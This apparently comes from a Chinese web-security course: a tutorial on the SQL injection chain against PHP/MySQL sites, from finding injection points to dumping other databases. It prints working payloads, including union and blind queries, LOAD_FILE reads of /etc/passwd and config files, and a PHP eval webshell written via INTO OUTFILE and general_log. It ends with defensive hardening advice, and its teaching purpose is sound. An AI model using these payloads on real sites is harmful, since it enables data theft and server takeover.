SQL注入完整链路:从注入点判定到跨库查询与文件读写

发布时间:2026/9/7 20:27:16
SQL注入完整链路:从注入点判定到跨库查询与文件读写 很多人第一次接触SQL注入的时候最熟悉的动作就是把id1改成id1去看报错再用 union select 把当前库的表拖出来。但也就是从这一步开始大家的水平线拉开了有的人能把整个数据库实例翻个底朝天有的人能顺着注入点直接往服务器上写文件还有人只能卡在“当前库”这一个点上问就是不知道下一步该干什么。这三个层次的差距其实不在于工具多花哨而是对 PHP 应用和 MySQL 之间的协作方式理解深不深。这篇内容对应我 WEB 攻防系列的第 042 课我不打算停留在“怎么测出注入”这一步而是把从注入点判定、跨库查询、文件读写到权限操作的完整链路串起来讲清楚。老规矩这套东西我在本地靶场里翻来覆去验证过很多次文章里的 payload 我都控制在授权测试和 CTF 题目范围内。适合刚接触 WEB 安全的渗透测试爱好者、CTF 选手以及想搞清楚 SQL 注入为什么一直杀不干净的开发同学。1. PHP和MySQL的协作方式决定了SQL注入的生存土壤1.1 一个请求从浏览器到数据库中间到底发生了什么很多新手把 SQL 注入单纯理解成“没过滤用户输入”这个说法太笼统了。要真正搞明白注入是怎么来的得先看清 PHP 和 MySQL 是怎么配合的。一个最常见的场景是这样的$id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result mysqli_query($conn, $sql);这段代码几乎存在于每一代老项目里。浏览器把?id1交给 PHPPHP 拿到这个参数后直接拼进 SQL 字符串再通过 mysqli 或 PDO 发送给 MySQL 服务端执行执行结果原样回传给页面渲染。整个链路里问题不在 PHP 语言本身也不在 MySQL 服务器而是在“拼接 SQL 字符串”这个动作发生的那一刻用户数据和 SQL 指令就混在了一起边界彻底失守。你传1SQL 是正常的查一条数据你传1 AND 11SQL 就变成了WHERE id1 AND 11。哪怕你只是传了一个1MySQL 也会因为语法不完整报错报错信息再原样吐回页面数据库名、表结构、甚至物理路径都有可能被带出来。这里有个常见的误解用了 PDO 是不是就安全了不一定。PDO 的预处理参数化才是安全写法$pdo-prepare()之后bindValue()让数据和 SQL 分开传给 MySQL 解析。但如果你只是用 PDO 对象继续字符串拼接$pdo-query(SELECT * FROM users WHERE id . $_GET[id]);那只是换了个连接方式注入还是注入一点没少。我见过不少开发说“我们项目用的是 PDO不存在 SQL 注入”结果一测全是拼接写法。框架和驱动只是工具真正决定安全与否的是数据是否参与了 SQL 语法解析。1.2 编码、老框架和那些“想过滤但没过滤干净”的坑如果不做任何过滤注入是最容易理解的。但实际项目里很多开发者确实加了addslashes、mysql_real_escape_string这类转义函数为什么还是被打穿这就涉及到编码层面的经典绕过——宽字节注入。拿 GBK 编码举例%df%27经过addslashes转义后会变成%df%5c%27。在 GBK 字符集下MySQL 会把%df%5c当成一个合法的汉字字符解析掉后面的%27也就是单引号就被独立出来了。原来想转义掉引号结果编码一结合单引号反而顺利逃逸。这类问题在老 PHP 站点里很常见尤其是页面、数据库、连接字符集三者不统一的时候。还有一种情况是框架自带的过滤函数本身就有缺陷。比如热词里一直有人问的 ThinkPHP 3.2.3这个老版本框架的I()函数在接收数组参数时过滤逻辑并没有覆盖所有进入 SQL 的路径构造特定数组格式就能绕过类型约束让exp这类表达式直接进入查询条件。不是说要批判这个老框架而是想提醒你一个事实永远别默认框架帮你做了安全处理框架版本越老越要抱着怀疑的心态去测。反过来说理解这些坑对防御特别有帮助。无论是宽字节还是框架过滤绕过最终都是因为“过滤”和“SQL 语法生成”没有严格分家。真正可靠的方案是参数化查询从语法层面让数据永远只是数据。2. 注入点判定与注入类型识别别拿到参数就一把梭2.1 先分清数字型还是字符型再考虑怎么闭合很多人一上来就直接上 sqlmap但手工判定的能力还是要有的。拿到一个参数第一步不是急着跑数据而是先判断注入点的类型。不同类型payload 的写法天差地别。数字型最简单。你传id1正常返回再传id2-1如果返回的结果和id1一样说明这个参数被当成了数字参与 SQL 运算不需要引号闭合直接拼 payload 就行。字符型就复杂一点。常见的判断方法是构造恒真和恒假id1 AND 11 id1 AND 12第一个正常返回第二个空白基本可以确定存在字符型注入。有些 SQL 语句还带着括号比如WHERE id($id)这时候闭合方式就变成id1) AND 11闭合方式不确定的时候可以多试几种不必死磕一种。判断完闭合方式下一步是注释掉 SQL 语句后面多余的部分。MySQL 里常用的注释符有#、--、--后面带一个空格URL 里#要编码成%23才不会被浏览器吃掉。再说一个更贴近实际场景的例子登录绕过。你在 CTF 里遇到的很多 SQL 注入绕过登录题本质就是字符型注入的变体。原本的 SQL 是这样的SELECT * FROM users WHERE usernameadmin AND passwordxxx如果password字段没过滤你传 OR 11 -- -拼进去之后就变成了SELECT * FROM users WHERE usernameadmin AND password OR 11 -- --注释掉了后面的内容OR 11让整个条件恒真登录校验直接被绕过。这就是所谓“万能密码”的原理说白了不是密码万能是 SQL 语法被改写了。2.2 Union注入、报错注入、盲注怎么判断当前场景是哪一种确认注入点存在后要快速判断用哪种方式拿数据。三种主流形态各有各的适用条件选错了就是白折腾。先看 Union 注入。它是效率最高的方式要求页面有回显位且能清晰展示查询结果。操作步骤是先用ORDER BY猜列数从ORDER BY 1开始逐个试直到报错为止说明当前查询列的边界在哪。然后构造id1 AND 11 UNION SELECT 1,2,3 -- 页面里显示出来的数字就是你能利用的回显位。后续把2换成你要查的数据库函数或者字段名就行。再看报错注入。很多场景下页面虽然报错但 UNION 的回显位拿不到或者被 WAF 过滤了UNION关键字。这时候可以用updatexml和extractvalue这类 XPath 函数让 MySQL 在处理错误信息时把查询结果带出来id1 AND UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1) -- 如果页面返回了包含数据库名的 XPath 错误说明报错注入可用。注意0x7e是~的十六进制加上它是为了让报错信息更明显避免和 XPath 正常内容混淆。最后是盲注。既没有回显位也没有报错信息只有页面正常和异常两种状态或者响应时间有差异。布尔盲注用AND配合逐位判断id1 AND ASCII(SUBSTR(DATABASE(),1,1))100 -- 页面正常说明第一位字符的 ASCII 大于 100以此逐步缩小范围。时间盲注更简单粗暴用IF配合SLEEPid1 AND IF(ASCII(SUBSTR(DATABASE(),1,1))100,SLEEP(3),0) -- 响应慢了三秒说明条件成立。盲注速度慢是出了名的手工打一整个库能打到怀疑人生通常我会先用盲注确定库名和表名的大概结构再让工具去跑剩下的大型枚举。三种方式的特征差异我整理了个表方便对照注入类型核心特征典型判断语句适用场景Union注入页面有回显位ORDER BY 3/UNION SELECT 1,2,3回显清晰适合快速拖数据报错注入页面有数据库错误回显UPDATEXML(1,CONCAT(0x7e,VERSION()),1)UNION被过滤或无回显位但有报错布尔盲注页面真假状态不同AND ASCII(SUBSTR(...))N页面能判断真假但无内容回显时间盲注响应时间变化AND IF(...,SLEEP(3),0)页面真假无法区分时最后的手段这里要提一个实战经验union 能用的情况其实没有想象中那么多。真实站点常见的情况是 WAF 拦了部分关键字或者查询结果根本没被输出到页面。我自己在测一些授权目标时最后拿数据大多是靠报错注入和盲注处理掉的所以这两个基本功别偷懒。3. 跨库查询从“当前库”打穿到“整个实例”的关键一步3.1 information_schema 里装的是整个实例的资产清单拿到注入点之后很多人只会SELECT table_name FROM information_schema.tables WHERE table_schemadatabase()把当前库的表拉出来就结束了。这没错但也只发挥了 information_schema 十分之一的价值。information_schema 是 MySQL 自带的一个系统信息数据库它记录了整个数据库实例里的所有元数据包括所有库名、所有表名、所有字段名。也就是说它本身就是一张巨大的资产清单。只要当前连接用户还有权限访问其他库这张清单就能帮你把所有库翻个底朝天。核心的表就那么几张schemata所有数据库的库名tables所有数据库里的表名包含table_schema字段标明属于哪个库columns所有表里的字段名包含table_schema和table_name在 union 注入的场景里查询所有库名的 payload 长这样id1 AND 11 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata -- 拿到库名后指定目标库查表id1 AND 11 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema目标库名 -- 再进一步查某个表的字段id1 AND 11 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema目标库名 AND table_name目标表名 -- 查完字段直接带库名前缀去读数据这就是跨库查询的实际动作id1 AND 11 UNION SELECT 1,username,password FROM 目标库名.目标表名 -- 看到没有所谓跨库查询其实就是你在 SQL 语句里显式指定了库名。前提是你有权限而且知道目标库的表结构。information_schema 就是帮你完成“知道目标库的表结构”这一步的。CTF 里经常有一道题考“当前库没 flagflag 在另一个库里”解题链路基本都是这个套路。3.2 跨库查询的权限边界以及一个真实的分水岭场景跨库查询能不能成关键不在 SQL 写得对不对而在当前连接用户的权限范围。MySQL 的权限是分库授予的一个业务账号如果只被授权了testdb这个库那它查information_schema.tables时只能看到testdb下的表其他库的表连影子都看不到更别说读取数据了。怎么判断当前用户的权限范围注入的时候用这几个函数很快就能摸清底细-- 当前实际连接的用户 UNION SELECT 1,CURRENT_USER(),3 -- MySQL版本和当前库 UNION SELECT 1,VERSION(),DATABASE() -- 客户端连接使用的用户 UNION SELECT 1,USER(),3CURRENT_USER()返回的是实际连接账号USER()返回的可能和连接时指定的用户名相关两个都能看以CURRENT_USER()为准。常见的分水岭场景是这样的一个子站点存在注入点你查到CURRENT_USER()返回的是rootlocalhost。这时候你就该意识到这个站点的数据库连接用的是 MySQL 超级管理员账号整个实例对你全面敞开。现实里很多公司确实是这么干的运维为了省事让所有业务共用同一个 root 连接数据库一库一用户根本没落实。于是顺着子站点的注入点你能读到同实例下其他业务库甚至主库的核心数据这就是一次完整的越权链路。反过来如果CURRENT_USER()返回的是类似webuserlocalhost这样的业务账号那你就要收敛预期先尝试访问information_schema确认能不能看到其他库名。看不到说明权限边界确实卡死了强行跨库只会遇到 “Access denied”。所以跨库查询不是每个注入点都能用的先确认权限再决定下一步能少走很多弯路。4. 文件读写从数据库突破到服务器文件系统的两条路4.1 load_file 读文件适用条件和那些常见的踩坑点SQL 注入搞到数据库权限再往上一步就是文件系统。读文件是第一步很多敏感信息都藏在服务器文件里网站源码、配置文件里的数据库密码、中间件配置、甚至密钥文件。MySQL 读文件靠的是LOAD_FILE()函数基本用法UNION SELECT 1,LOAD_FILE(/etc/passwd),3看起来简单实际能不能读出来要满足四个硬性条件当前用户有FILE权限MySQL 的secure_file_priv参数没有限制读取路径知道文件绝对路径目标文件对 MySQL 运行用户可读secure_file_priv这个参数是重点它有三种状态值为NULL时完全禁止文件读写值为空字符串时允许任意路径读写指定一个具体路径时只允许该路径下的文件操作。MySQL 5.7 和 8.0 的一些默认安装包secure_file_priv默认就是NULL这时候就算有FILE权限也读不了文件。所以在实际测试时先查一下这个参数能省很多力气UNION SELECT 1,secure_file_priv,3返回NULL就赶紧换思路返回空或某个路径再继续试读文件。绝对路径是个老难题。常见解决思路是看报错信息有没有泄露物理路径或者尝试默认路径。部署在 Linux 下的 PHP 站源码和配置文件一般常见于/var/www/html/下Nginx 配置在/etc/nginx/相关目录Apache 配置在/etc/apache2/。Windows 下则要尝试盘符加反斜杠的路径。没有确切路径时从默认路径一个个猜是没办法的办法但只要猜中一个后面的路就通了。读取网站配置文件的价值很大。PHP 项目里几乎都会有数据库配置文件常见名字是config.php、database.php、db.php里面往往存着比当前连接账号更高级的数据库账号密码。拿到这些凭据就等于拿到了更高一级的权限入口。读文件时如果遇到二进制内容或者编码问题导致显示乱码可以用HEX()函数包一层十六进制字符串读取更稳UNION SELECT 1,HEX(LOAD_FILE(/var/www/html/config.php)),3拿到十六进制再解码回原文内容一点不会丢。4.2 into outfile 写文件和 general_log 日志写Shell的取舍读文件只是开胃菜写文件才是从数据库权限跨到服务器权限的关键一步。最典型的场景是通过写入一个 WebShell把对数据库的控制权转化为对服务器的控制权。写文件核心语法是SELECT ... INTO OUTFILESELECT ?php eval($_POST[1]);? INTO OUTFILE /var/www/html/shell.php要注意OUTFILE和DUMPFILE的区别。OUTFILE适合写文本内容会做一定格式化处理如果写入内容是二进制数据建议用DUMPFILE它不会做处理更接近原始字节流。写文件成功的条件同样有四个有FILE权限secure_file_priv允许写目标目录MySQL 运行用户对 web 目录有写权限知道 web 目录的绝对路径这四个条件缺一个都不行。我见过多次卡在第三个条件上的MySQL 运行用户是mysqlweb 目录属主是www-data权限没放开OUTFILE写了也报错。所以拿到一个注入点后别急着写文件先确认目录权限。但更常见的一种情况是secure_file_priv被严格限制为某个目录OUTFILE压根不让你写。这时候还有一条路——用 MySQL 的通用查询日志来写文件。思路是这样的MySQL 开启general_log之后所有执行的 SQL 语句都会被记录到日志文件里。如果把日志文件路径指向 web 目录再执行一条包含 WebShell 内容的 SQLShell 就直接被写进日志文件再访问这个日志文件就能得到 WebShell。操作步骤大概是SET GLOBAL general_logON; SET GLOBAL general_log_file/var/www/html/shell.php; SELECT ?php eval($_POST[1]);?;执行完记得恢复配置SET GLOBAL general_log_file/var/log/mysql/mysql.log; SET GLOBAL general_logOFF;这个方案成功的关键是当前用户有SUPER权限因为SET GLOBAL修改全局变量在 MySQL 8.0 里还要求额外的系统变量管理权限。写完之后日志文件里面会有很多无关 SQL 语句WebShell 内容只是一行不过直接访问文件通常不影响执行。这里也提醒一句这套操作对业务影响较大平时测试要用也只在授权靶场里做。不管是OUTFILE还是日志写库最后都明确一个认知文件读写的成败极受系统权限约束。数据库账号有FILE权限不代表 web 目录就一定可写secure_file_priv放开了也不代表你能猜到绝对路径。每一个环节都是独立的限制全部通过才可能打通这道门。5. 权限操作为什么同一个注入点有人能拿Shell有人只能看数据5.1 先搞懂MySQL的权限模型才能判断自己走到哪一步前面讲的文件读写、跨库查询能不能成功最终都落在 MySQL 用户的权限上。权限模型其实不复杂按作用范围从大到小分几个级别全局权限、库级权限、表级权限、列级权限。注入利用中影响最大的是全局层面的几个特殊权限。FILE权限是所有文件读写操作的开关没有它LOAD_FILE和INTO OUTFILE都会直接报错。SUPER权限则是一个大杂烩修改全局系统变量、某些管理操作都依赖它日志写 Shell 就需要这个级别。GRANT权限允许用户把自己的权限再授予其他人在权限维持或横向扩展的测试场景中很重要。实战中怎么判断自己有哪些权限没有直接的函数能列出一个用户的全部权限清单但可以通过错误提示反推。比如执行写文件操作后报错Access denied; you need (at least one of) the FILE privilege(s)说明缺FILE权限。报错The MySQL server is running with the --secure-file-priv option so it cannot execute this statement说明权限没问题是secure_file_priv参数卡住了。读文件时报Access denied同样在提醒你权限或者参数方向有问题。平时测试时我会按这个顺序排查数据库环境探测内容语句判断价值当前用户SELECT CURRENT_USER()判断是否 root 或高权限账号数据库版本SELECT VERSION()确认版本判断可利用的姿势安全参数SELECT secure_file_priv判断文件读写可行性插件目录SELECT plugin_dir为高权限扩展操作做准备系统信息SELECT hostname, datadir确认主机身份和数据库文件目录这些信息不一定能直接利用但能帮你快速判断攻击面有多大。5.2 高权限账号的利用边界以及权限收敛的防御思路当注入点连着的数据库账号是 root 这类高权限账号时利用面会被放大到整个服务器。跨库查询只是最基础的一层再往上还能读任意文件、写 WebShell、控制全局变量甚至在合适的系统条件下通过 UDF 扩展实现系统命令执行。UDF 的本质是把自定义函数写入 MySQL 插件目录但插件目录位置、写入方式、系统版本都有一堆限制条件成功率并不像网上传的那么夸张。我写这些不是为了罗列操作而是想说明一个观点数据库账号的权限边界直接决定了注入漏洞能打多远。同一个注入点连接账号是root你就能把数据库渗透变成一次完整的服务器层面控制连接账号是只授权了当前库的普通用户那你能做的事情就很有限跨库和文件读写基本不用想。所以从防御视角看权限收敛是最值钱的一层生产环境禁止使用 root 账号连接业务库这是底线。每个业务单独创建数据库账号只授予当前库必要的权限FILE、SUPER、GRANT这类权限一律不给。在 MySQL 配置里显式设置secure_file_priv为NULL或一个严格限定目录宁可需要时再临时配置也不要默认放开。PHP 侧关闭错误回显display_errorsOff数据库连接错误和 SQL 错误都不能直接打到页面上可以大幅压缩报错注入的生存空间。所有 SQL 操作统一使用预处理参数化查询从根源上消除拼接注入。我在本地靶场把这条链路完整跑通之后才真的明白为什么 SQL 注入这么多年稳居各类漏洞榜单前列。建议新手别急着上 sqlmap先手工把 union、报错、布尔盲注每一种都跑一遍再把跨库查询和文件读写放到靶场环境里逐一验证对数据库权限体系的理解会完全不同。等到你在授权测试里拿到一个真实的注入点你会很清楚自己正处在链路的哪一步下一步该尝试什么哪些限制条件会挡住你的路径。这套判断力才是手工测试和自动化工具之间真正的分水岭。